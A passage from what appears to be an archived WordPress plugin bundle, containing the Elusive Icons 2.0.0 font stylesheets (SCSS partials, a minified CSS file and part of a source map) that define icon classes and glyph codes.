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", "sources": ["elusive-icons.scss","_path.scss","_core.scss","_larger.scss","_fixed-width.scss","_list.scss","_variables.scss","_bordered-pulled.scss","_animated.scss","_rotated-flipped.scss","_mixins.scss","_stacked.scss","_icons.scss"], "names": [], "file": "elusive-icons.css" }lib/redux-framework/assets/css/vendor/elusive-icons/scss/_list.scss000064400000000572147206624460021611 0ustar00// List Icons // ------------------------- .#{$el-css-prefix}-ul { padding-left: 0; margin-left: $el-li-width; list-style-type: none; > li { position: relative; } } .#{$el-css-prefix}-li { position: absolute; left: -$el-li-width; width: $el-li-width; top: (2em / 14); text-align: center; &.#{$el-css-prefix}-lg { left: -$el-li-width + (4em / 14); } } lib/redux-framework/assets/css/vendor/elusive-icons/scss/_path.scss000064400000001267147206624460021574 0ustar00/* FONT PATH * -------------------------- */ @font-face { font-family: 'Elusive-Icons'; src: url('#{$el-font-path}/elusiveicons-webfont.eot?v=#{$el-version}'); src: url('#{$el-font-path}/elusiveicons-webfont.eot?#iefix&v=#{$el-version}') format('embedded-opentype'), //url('#{$el-font-path}/elusiveicons-webfont.woff2?v=#{$el-version}') format('woff2'), url('#{$el-font-path}/elusiveicons-webfont.woff?v=#{$el-version}') format('woff'), url('#{$el-font-path}/elusiveicons-webfont.ttf?v=#{$el-version}') format('truetype'), url('#{$el-font-path}/elusiveicons-webfont.svg?v=#{$el-version}#elusiveiconsregular') format('svg'); font-weight: normal; font-style: normal; } lib/redux-framework/assets/css/vendor/elusive-icons/scss/elusive-icons.css000064400000051256147206624460023106 0ustar00@charset "UTF-8";/*! * Elusive Icons 2.0.0 by @ReduxFramework - http://elusiveicons.com - @reduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'Elusive-Icons';src:url("fonts/elusiveicons-webfont.eot?v=2.0.0");src:url("fonts/elusiveicons-webfont.eot?#iefix&v=2.0.0") format("embedded-opentype"),url("fonts/elusiveicons-webfont.woff?v=2.0.0") format("woff"),url("fonts/elusiveicons-webfont.ttf?v=2.0.0") format("truetype"),url("fonts/elusiveicons-webfont.svg?v=2.0.0#elusiveiconsregular") format("svg");font-weight:normal;font-style:normal}.el{display:inline-block;font:normal normal normal 14px/1 "Elusive-Icons";font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;transform:translate(0,0)}.el-lg{font-size:1.33333em;line-height:.75em;vertical-align:-15%}.el-2x{font-size:2em}.el-3x{font-size:3em}.el-4x{font-size:4em}.el-5x{font-size:5em}.el-fw{width:1.28571em;text-align:center}.el-ul{padding-left:0;margin-left:2.14286em;list-style-type:none}.el-ul>li{position:relative}.el-li{position:absolute;left:-2.14286em;width:2.14286em;top:.14286em;text-align:center}.el-li.el-lg{left:-1.85714em}.el-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.pull-right{float:right}.pull-left{float:left}.el.pull-left{margin-right:.3em}.el.pull-right{margin-left:.3em}.el-spin{-webkit-animation:el-spin 2s infinite linear;animation:el-spin 2s infinite linear}.el-pulse{-webkit-animation:el-spin 1s infinite steps(8);animation:el-spin 1s infinite steps(8)}@-webkit-keyframes el-spin{0{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes el-spin{0{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.el-rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.el-rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.el-rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.el-flip-horizontal{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}.el-flip-vertical{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}:root .el-rotate-90,:root .el-rotate-180,:root .el-rotate-270,:root .el-flip-horizontal,:root .el-flip-vertical{filter:none}.el-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.el-stack-1x,.el-stack-2x{position:absolute;left:0;width:100%;text-align:center}.el-stack-1x{line-height:inherit}.el-stack-2x{font-size:2em}.el-inverse{color:#fff}.el-icon-address-book-alt:before,.el-address-book-alt:before{content:""}.el-icon-address-book:before,.el-address-book:before{content:""}.el-icon-adjust-alt:before,.el-adjust-alt:before{content:""}.el-icon-adjust:before,.el-adjust:before{content:""}.el-icon-adult:before,.el-adult:before{content:""}.el-icon-align-center:before,.el-align-center:before{content:""}.el-icon-align-justify:before,.el-align-justify:before{content:""}.el-icon-align-left:before,.el-align-left:before{content:""}.el-icon-align-right:before,.el-align-right:before{content:""}.el-icon-arrow-down:before,.el-arrow-down:before{content:""}.el-icon-arrow-left:before,.el-arrow-left:before{content:""}.el-icon-arrow-right:before,.el-arrow-right:before{content:""}.el-icon-arrow-up:before,.el-arrow-up:before{content:""}.el-icon-asl:before,.el-asl:before{content:""}.el-icon-asterisk:before,.el-asterisk:before{content:""}.el-icon-backward:before,.el-backward:before{content:""}.el-icon-ban-circle:before,.el-ban-circle:before{content:""}.el-icon-barcode:before,.el-barcode:before{content:""}.el-icon-behance:before,.el-behance:before{content:""}.el-icon-bell:before,.el-bell:before{content:""}.el-icon-blind:before,.el-blind:before{content:""}.el-icon-blogger:before,.el-blogger:before{content:""}.el-icon-bold:before,.el-bold:before{content:""}.el-icon-book:before,.el-book:before{content:""}.el-icon-bookmark-empty:before,.el-bookmark-empty:before{content:""}.el-icon-bookmark:before,.el-bookmark:before{content:""}.el-icon-brackets:before,.el-brackets:before{content:""}.el-icon-braille:before,.el-braille:before{content:""}.el-icon-briefcase:before,.el-briefcase:before{content:""}.el-icon-broom:before,.el-broom:before{content:""}.el-icon-brush:before,.el-brush:before{content:""}.el-icon-bulb:before,.el-bulb:before{content:""}.el-icon-bullhorn:before,.el-bullhorn:before{content:""}.el-icon-calendar-sign:before,.el-calendar-sign:before{content:""}.el-icon-calendar:before,.el-calendar:before{content:""}.el-icon-camera:before,.el-camera:before{content:""}.el-icon-car:before,.el-car:before{content:""}.el-icon-caret-down:before,.el-caret-down:before{content:""}.el-icon-caret-left:before,.el-caret-left:before{content:""}.el-icon-caret-right:before,.el-caret-right:before{content:""}.el-icon-caret-up:before,.el-caret-up:before{content:""}.el-icon-cc:before,.el-cc:before{content:""}.el-icon-certificate:before,.el-certificate:before{content:""}.el-icon-check-empty:before,.el-check-empty:before{content:""}.el-icon-check:before,.el-check:before{content:""}.el-icon-chevron-down:before,.el-chevron-down:before{content:""}.el-icon-chevron-left:before,.el-chevron-left:before{content:""}.el-icon-chevron-right:before,.el-chevron-right:before{content:""}.el-icon-chevron-up:before,.el-chevron-up:before{content:""}.el-icon-child:before,.el-child:before{content:""}.el-icon-circle-arrow-down:before,.el-circle-arrow-down:before{content:""}.el-icon-circle-arrow-left:before,.el-circle-arrow-left:before{content:""}.el-icon-circle-arrow-right:before,.el-circle-arrow-right:before{content:""}.el-icon-circle-arrow-up:before,.el-circle-arrow-up:before{content:""}.el-icon-cloud-alt:before,.el-cloud-alt:before{content:""}.el-icon-cloud:before,.el-cloud:before{content:""}.el-icon-cog-alt:before,.el-cog-alt:before{content:""}.el-icon-cog:before,.el-cog:before{content:""}.el-icon-cogs:before,.el-cogs:before{content:""}.el-icon-comment-alt:before,.el-comment-alt:before{content:""}.el-icon-comment:before,.el-comment:before{content:""}.el-icon-compass-alt:before,.el-compass-alt:before{content:""}.el-icon-compass:before,.el-compass:before{content:""}.el-icon-credit-card:before,.el-credit-card:before{content:""}.el-icon-css:before,.el-css:before{content:""}.el-icon-dashboard:before,.el-dashboard:before{content:""}.el-icon-delicious:before,.el-delicious:before{content:""}.el-icon-deviantart:before,.el-deviantart:before{content:""}.el-icon-digg:before,.el-digg:before{content:""}.el-icon-download-alt:before,.el-download-alt:before{content:""}.el-icon-download:before,.el-download:before{content:""}.el-icon-dribbble:before,.el-dribbble:before{content:""}.el-icon-edit:before,.el-edit:before{content:""}.el-icon-eject:before,.el-eject:before{content:""}.el-icon-envelope-alt:before,.el-envelope-alt:before{content:""}.el-icon-envelope:before,.el-envelope:before{content:""}.el-icon-error-alt:before,.el-error-alt:before{content:""}.el-icon-error:before,.el-error:before{content:""}.el-icon-eur:before,.el-eur:before{content:""}.el-icon-exclamation-sign:before,.el-exclamation-sign:before{content:""}.el-icon-eye-close:before,.el-eye-close:before{content:""}.el-icon-eye-open:before,.el-eye-open:before{content:""}.el-icon-facebook:before,.el-facebook:before{content:""}.el-icon-facetime-video:before,.el-facetime-video:before{content:""}.el-icon-fast-backward:before,.el-fast-backward:before{content:""}.el-icon-fast-forward:before,.el-fast-forward:before{content:""}.el-icon-female:before,.el-female:before{content:""}.el-icon-file-alt:before,.el-file-alt:before{content:""}.el-icon-file-edit-alt:before,.el-file-edit-alt:before{content:""}.el-icon-file-edit:before,.el-file-edit:before{content:""}.el-icon-file-new-alt:before,.el-file-new-alt:before{content:""}.el-icon-file-new:before,.el-file-new:before{content:""}.el-icon-file:before,.el-file:before{content:""}.el-icon-film:before,.el-film:before{content:""}.el-icon-filter:before,.el-filter:before{content:""}.el-icon-fire:before,.el-fire:before{content:""}.el-icon-flag-alt:before,.el-flag-alt:before{content:""}.el-icon-flag:before,.el-flag:before{content:""}.el-icon-flickr:before,.el-flickr:before{content:""}.el-icon-folder-close:before,.el-folder-close:before{content:""}.el-icon-folder-open:before,.el-folder-open:before{content:""}.el-icon-folder-sign:before,.el-folder-sign:before{content:""}.el-icon-folder:before,.el-folder:before{content:""}.el-icon-font:before,.el-font:before{content:""}.el-icon-fontsize:before,.el-fontsize:before{content:""}.el-icon-fork:before,.el-fork:before{content:""}.el-icon-forward-alt:before,.el-forward-alt:before{content:""}.el-icon-forward:before,.el-forward:before{content:""}.el-icon-foursquare:before,.el-foursquare:before{content:""}.el-icon-friendfeed-rect:before,.el-friendfeed-rect:before{content:""}.el-icon-friendfeed:before,.el-friendfeed:before{content:""}.el-icon-fullscreen:before,.el-fullscreen:before{content:""}.el-icon-gallery:before,.el-gallery:before{content:""}.el-icon-gbp:before,.el-gbp:before{content:""}.el-icon-gift:before,.el-gift:before{content:""}.el-icon-github-text:before,.el-github-text:before{content:""}.el-icon-github:before,.el-github:before{content:""}.el-icon-glass:before,.el-glass:before{content:""}.el-icon-glasses:before,.el-glasses:before{content:""}.el-icon-globe-alt:before,.el-globe-alt:before{content:""}.el-icon-globe:before,.el-globe:before{content:""}.el-icon-googleplus:before,.el-googleplus:before{content:""}.el-icon-graph-alt:before,.el-graph-alt:before{content:""}.el-icon-graph:before,.el-graph:before{content:""}.el-icon-group-alt:before,.el-group-alt:before{content:""}.el-icon-group:before,.el-group:before{content:""}.el-icon-guidedog:before,.el-guidedog:before{content:""}.el-icon-hand-down:before,.el-hand-down:before{content:""}.el-icon-hand-left:before,.el-hand-left:before{content:""}.el-icon-hand-right:before,.el-hand-right:before{content:""}.el-icon-hand-up:before,.el-hand-up:before{content:""}.el-icon-hdd:before,.el-hdd:before{content:""}.el-icon-headphones:before,.el-headphones:before{content:""}.el-icon-hearing-impaired:before,.el-hearing-impaired:before{content:""}.el-icon-heart-alt:before,.el-heart-alt:before{content:""}.el-icon-heart-empty:before,.el-heart-empty:before{content:""}.el-icon-heart:before,.el-heart:before{content:""}.el-icon-home-alt:before,.el-home-alt:before{content:""}.el-icon-home:before,.el-home:before{content:""}.el-icon-hourglass:before,.el-hourglass:before{content:""}.el-icon-idea-alt:before,.el-idea-alt:before{content:""}.el-icon-idea:before,.el-idea:before{content:""}.el-icon-inbox-alt:before,.el-inbox-alt:before{content:""}.el-icon-inbox-box:before,.el-inbox-box:before{content:""}.el-icon-inbox:before,.el-inbox:before{content:""}.el-icon-indent-left:before,.el-indent-left:before{content:""}.el-icon-indent-right:before,.el-indent-right:before{content:""}.el-icon-info-circle:before,.el-info-circle:before{content:""}.el-icon-instagram:before,.el-instagram:before{content:""}.el-icon-iphone-home:before,.el-iphone-home:before{content:""}.el-icon-italic:before,.el-italic:before{content:""}.el-icon-key:before,.el-key:before{content:""}.el-icon-laptop-alt:before,.el-laptop-alt:before{content:""}.el-icon-laptop:before,.el-laptop:before{content:""}.el-icon-lastfm:before,.el-lastfm:before{content:""}.el-icon-leaf:before,.el-leaf:before{content:""}.el-icon-lines:before,.el-lines:before{content:""}.el-icon-link:before,.el-link:before{content:""}.el-icon-linkedin:before,.el-linkedin:before{content:""}.el-icon-list-alt:before,.el-list-alt:before{content:""}.el-icon-list:before,.el-list:before{content:""}.el-icon-livejournal:before,.el-livejournal:before{content:""}.el-icon-lock-alt:before,.el-lock-alt:before{content:""}.el-icon-lock:before,.el-lock:before{content:""}.el-icon-magic:before,.el-magic:before{content:""}.el-icon-magnet:before,.el-magnet:before{content:""}.el-icon-male:before,.el-male:before{content:""}.el-icon-map-marker-alt:before,.el-map-marker-alt:before{content:""}.el-icon-map-marker:before,.el-map-marker:before{content:""}.el-icon-mic-alt:before,.el-mic-alt:before{content:""}.el-icon-mic:before,.el-mic:before{content:""}.el-icon-minus-sign:before,.el-minus-sign:before{content:""}.el-icon-minus:before,.el-minus:before{content:""}.el-icon-move:before,.el-move:before{content:""}.el-icon-music:before,.el-music:before{content:""}.el-icon-myspace:before,.el-myspace:before{content:""}.el-icon-network:before,.el-network:before{content:""}.el-icon-off:before,.el-off:before{content:""}.el-icon-ok-circle:before,.el-ok-circle:before{content:""}.el-icon-ok-sign:before,.el-ok-sign:before{content:""}.el-icon-ok:before,.el-ok:before{content:""}.el-icon-opensource:before,.el-opensource:before{content:""}.el-icon-paper-clip-alt:before,.el-paper-clip-alt:before{content:""}.el-icon-paper-clip:before,.el-paper-clip:before{content:""}.el-icon-path:before,.el-path:before{content:""}.el-icon-pause-alt:before,.el-pause-alt:before{content:""}.el-icon-pause:before,.el-pause:before{content:""}.el-icon-pencil-alt:before,.el-pencil-alt:before{content:""}.el-icon-pencil:before,.el-pencil:before{content:""}.el-icon-person:before,.el-person:before{content:""}.el-icon-phone-alt:before,.el-phone-alt:before{content:""}.el-icon-phone:before,.el-phone:before{content:""}.el-icon-photo-alt:before,.el-photo-alt:before{content:""}.el-icon-photo:before,.el-photo:before{content:""}.el-icon-picasa:before,.el-picasa:before{content:""}.el-icon-picture:before,.el-picture:before{content:""}.el-icon-plane:before,.el-plane:before{content:""}.el-icon-play-alt:before,.el-play-alt:before{content:""}.el-icon-play-circle:before,.el-play-circle:before{content:""}.el-icon-play:before,.el-play:before{content:""}.el-icon-plurk-alt:before,.el-plurk-alt:before{content:""}.el-icon-plurk:before,.el-plurk:before{content:""}.el-icon-plus-sign:before,.el-plus-sign:before{content:""}.el-icon-plus:before,.el-plus:before{content:""}.el-icon-podcast:before,.el-podcast:before{content:""}.el-icon-print:before,.el-print:before{content:""}.el-icon-puzzle:before,.el-puzzle:before{content:""}.el-icon-qrcode:before,.el-qrcode:before{content:""}.el-icon-question-sign:before,.el-question-sign:before{content:""}.el-icon-question:before,.el-question:before{content:""}.el-icon-quote-alt:before,.el-quote-alt:before{content:""}.el-icon-quote-right-alt:before,.el-quote-right-alt:before{content:""}.el-icon-quote-right:before,.el-quote-right:before{content:""}.el-icon-quotes:before,.el-quotes:before{content:""}.el-icon-random:before,.el-random:before{content:""}.el-icon-record:before,.el-record:before{content:""}.el-icon-reddit:before,.el-reddit:before{content:""}.el-icon-redux:before,.el-redux:before{content:""}.el-icon-refresh:before,.el-refresh:before{content:""}.el-icon-remove-circle:before,.el-remove-circle:before{content:""}.el-icon-remove-sign:before,.el-remove-sign:before{content:""}.el-icon-remove:before,.el-remove:before{content:""}.el-icon-repeat-alt:before,.el-repeat-alt:before{content:""}.el-icon-repeat:before,.el-repeat:before{content:""}.el-icon-resize-full:before,.el-resize-full:before{content:""}.el-icon-resize-horizontal:before,.el-resize-horizontal:before{content:""}.el-icon-resize-small:before,.el-resize-small:before{content:""}.el-icon-resize-vertical:before,.el-resize-vertical:before{content:""}.el-icon-return-key:before,.el-return-key:before{content:""}.el-icon-retweet:before,.el-retweet:before{content:""}.el-icon-reverse-alt:before,.el-reverse-alt:before{content:""}.el-icon-road:before,.el-road:before{content:""}.el-icon-rss:before,.el-rss:before{content:""}.el-icon-scissors:before,.el-scissors:before{content:""}.el-icon-screen-alt:before,.el-screen-alt:before{content:""}.el-icon-screen:before,.el-screen:before{content:""}.el-icon-screenshot:before,.el-screenshot:before{content:""}.el-icon-search-alt:before,.el-search-alt:before{content:""}.el-icon-search:before,.el-search:before{content:""}.el-icon-share-alt:before,.el-share-alt:before{content:""}.el-icon-share:before,.el-share:before{content:""}.el-icon-shopping-cart-sign:before,.el-shopping-cart-sign:before{content:""}.el-icon-shopping-cart:before,.el-shopping-cart:before{content:""}.el-icon-shortcode:before,.el-shortcode:before{content:""}.el-icon-signal:before,.el-signal:before{content:""}.el-icon-skype:before,.el-skype:before{content:""}.el-icon-slideshare:before,.el-slideshare:before{content:""}.el-icon-smiley-alt:before,.el-smiley-alt:before{content:""}.el-icon-smiley:before,.el-smiley:before{content:""}.el-icon-soundcloud:before,.el-soundcloud:before{content:""}.el-icon-speaker:before,.el-speaker:before{content:""}.el-icon-spotify:before,.el-spotify:before{content:""}.el-icon-stackoverflow:before,.el-stackoverflow:before{content:""}.el-icon-star-alt:before,.el-star-alt:before{content:""}.el-icon-star-empty:before,.el-star-empty:before{content:""}.el-icon-star:before,.el-star:before{content:""}.el-icon-step-backward:before,.el-step-backward:before{content:""}.el-icon-step-forward:before,.el-step-forward:before{content:""}.el-icon-stop-alt:before,.el-stop-alt:before{content:""}.el-icon-stop:before,.el-stop:before{content:""}.el-icon-stumbleupon:before,.el-stumbleupon:before{content:""}.el-icon-tag:before,.el-tag:before{content:""}.el-icon-tags:before,.el-tags:before{content:""}.el-icon-tasks:before,.el-tasks:before{content:""}.el-icon-text-height:before,.el-text-height:before{content:""}.el-icon-text-width:before,.el-text-width:before{content:""}.el-icon-th-large:before,.el-th-large:before{content:""}.el-icon-th-list:before,.el-th-list:before{content:""}.el-icon-th:before,.el-th:before{content:""}.el-icon-thumbs-down:before,.el-thumbs-down:before{content:""}.el-icon-thumbs-up:before,.el-thumbs-up:before{content:""}.el-icon-time-alt:before,.el-time-alt:before{content:""}.el-icon-time:before,.el-time:before{content:""}.el-icon-tint:before,.el-tint:before{content:""}.el-icon-torso:before,.el-torso:before{content:""}.el-icon-trash-alt:before,.el-trash-alt:before{content:""}.el-icon-trash:before,.el-trash:before{content:""}.el-icon-tumblr:before,.el-tumblr:before{content:""}.el-icon-twitter:before,.el-twitter:before{content:""}.el-icon-universal-access:before,.el-universal-access:before{content:""}.el-icon-unlock-alt:before,.el-unlock-alt:before{content:""}.el-icon-unlock:before,.el-unlock:before{content:""}.el-icon-upload:before,.el-upload:before{content:""}.el-icon-usd:before,.el-usd:before{content:""}.el-icon-user:before,.el-user:before{content:""}.el-icon-viadeo:before,.el-viadeo:before{content:""}.el-icon-video-alt:before,.el-video-alt:before{content:""}.el-icon-video-chat:before,.el-video-chat:before{content:""}.el-icon-video:before,.el-video:before{content:""}.el-icon-view-mode:before,.el-view-mode:before{content:""}.el-icon-vimeo:before,.el-vimeo:before{content:""}.el-icon-vkontakte:before,.el-vkontakte:before{content:""}.el-icon-volume-down:before,.el-volume-down:before{content:""}.el-icon-volume-off:before,.el-volume-off:before{content:""}.el-icon-volume-up:before,.el-volume-up:before{content:""}.el-icon-w3c:before,.el-w3c:before{content:""}.el-icon-warning-sign:before,.el-warning-sign:before{content:""}.el-icon-website-alt:before,.el-website-alt:before{content:""}.el-icon-website:before,.el-website:before{content:""}.el-icon-wheelchair:before,.el-wheelchair:before{content:""}.el-icon-wordpress:before,.el-wordpress:before{content:""}.el-icon-wrench-alt:before,.el-wrench-alt:before{content:""}.el-icon-wrench:before,.el-wrench:before{content:""}.el-icon-youtube:before,.el-youtube:before{content:""}.el-icon-zoom-in:before,.el-zoom-in:before{content:""}.el-icon-zoom-out:before,.el-zoom-out:before{content:""}lib/redux-framework/assets/css/vendor/elusive-icons/scss/_variables.scss000064400000020622147206624460022604 0ustar00// Variables // -------------------------- $el-font-path: "fonts" !default; $el-font-size-base: 14px !default; $el-css-prefix: el !default; $el-version: "2.0.0" !default; $el-border-color: #eee !default; $el-inverse: #fff !default; $el-li-width: (30em / 14) !default; $el-var-address-book: "\f102"; $el-var-address-book-alt: "\f101"; $el-var-adjust: "\f104"; $el-var-adjust-alt: "\f103"; $el-var-adult: "\f105"; $el-var-align-center: "\f106"; $el-var-align-justify: "\f107"; $el-var-align-left: "\f108"; $el-var-align-right: "\f109"; $el-var-arrow-down: "\f10a"; $el-var-arrow-left: "\f10b"; $el-var-arrow-right: "\f10c"; $el-var-arrow-up: "\f10d"; $el-var-asl: "\f10e"; $el-var-asterisk: "\f10f"; $el-var-backward: "\f110"; $el-var-ban-circle: "\f111"; $el-var-barcode: "\f112"; $el-var-behance: "\f113"; $el-var-bell: "\f114"; $el-var-blind: "\f115"; $el-var-blogger: "\f116"; $el-var-bold: "\f117"; $el-var-book: "\f118"; $el-var-bookmark: "\f11a"; $el-var-bookmark-empty: "\f119"; $el-var-brackets: "\f11b"; $el-var-braille: "\f11c"; $el-var-briefcase: "\f11d"; $el-var-broom: "\f11e"; $el-var-brush: "\f11f"; $el-var-bulb: "\f120"; $el-var-bullhorn: "\f121"; $el-var-calendar: "\f123"; $el-var-calendar-sign: "\f122"; $el-var-camera: "\f124"; $el-var-car: "\f125"; $el-var-caret-down: "\f126"; $el-var-caret-left: "\f127"; $el-var-caret-right: "\f128"; $el-var-caret-up: "\f129"; $el-var-cc: "\f12a"; $el-var-certificate: "\f12b"; $el-var-check: "\f12d"; $el-var-check-empty: "\f12c"; $el-var-chevron-down: "\f12e"; $el-var-chevron-left: "\f12f"; $el-var-chevron-right: "\f130"; $el-var-chevron-up: "\f131"; $el-var-child: "\f132"; $el-var-circle-arrow-down: "\f133"; $el-var-circle-arrow-left: "\f134"; $el-var-circle-arrow-right: "\f135"; $el-var-circle-arrow-up: "\f136"; $el-var-cloud: "\f138"; $el-var-cloud-alt: "\f137"; $el-var-cog: "\f13a"; $el-var-cog-alt: "\f139"; $el-var-cogs: "\f13b"; $el-var-comment: "\f13d"; $el-var-comment-alt: "\f13c"; $el-var-compass: "\f13f"; $el-var-compass-alt: "\f13e"; $el-var-credit-card: "\f140"; $el-var-css: "\f141"; $el-var-dashboard: "\f142"; $el-var-delicious: "\f143"; $el-var-deviantart: "\f144"; $el-var-digg: "\f145"; $el-var-download: "\f147"; $el-var-download-alt: "\f146"; $el-var-dribbble: "\f148"; $el-var-edit: "\f149"; $el-var-eject: "\f14a"; $el-var-envelope: "\f14c"; $el-var-envelope-alt: "\f14b"; $el-var-error: "\f14e"; $el-var-error-alt: "\f14d"; $el-var-eur: "\f14f"; $el-var-exclamation-sign: "\f150"; $el-var-eye-close: "\f151"; $el-var-eye-open: "\f152"; $el-var-facebook: "\f153"; $el-var-facetime-video: "\f154"; $el-var-fast-backward: "\f155"; $el-var-fast-forward: "\f156"; $el-var-female: "\f157"; $el-var-file: "\f15d"; $el-var-file-alt: "\f158"; $el-var-file-edit: "\f15a"; $el-var-file-edit-alt: "\f159"; $el-var-file-new: "\f15c"; $el-var-file-new-alt: "\f15b"; $el-var-film: "\f15e"; $el-var-filter: "\f15f"; $el-var-fire: "\f160"; $el-var-flag: "\f162"; $el-var-flag-alt: "\f161"; $el-var-flickr: "\f163"; $el-var-folder: "\f167"; $el-var-folder-close: "\f164"; $el-var-folder-open: "\f165"; $el-var-folder-sign: "\f166"; $el-var-font: "\f168"; $el-var-fontsize: "\f169"; $el-var-fork: "\f16a"; $el-var-forward: "\f16c"; $el-var-forward-alt: "\f16b"; $el-var-foursquare: "\f16d"; $el-var-friendfeed: "\f16f"; 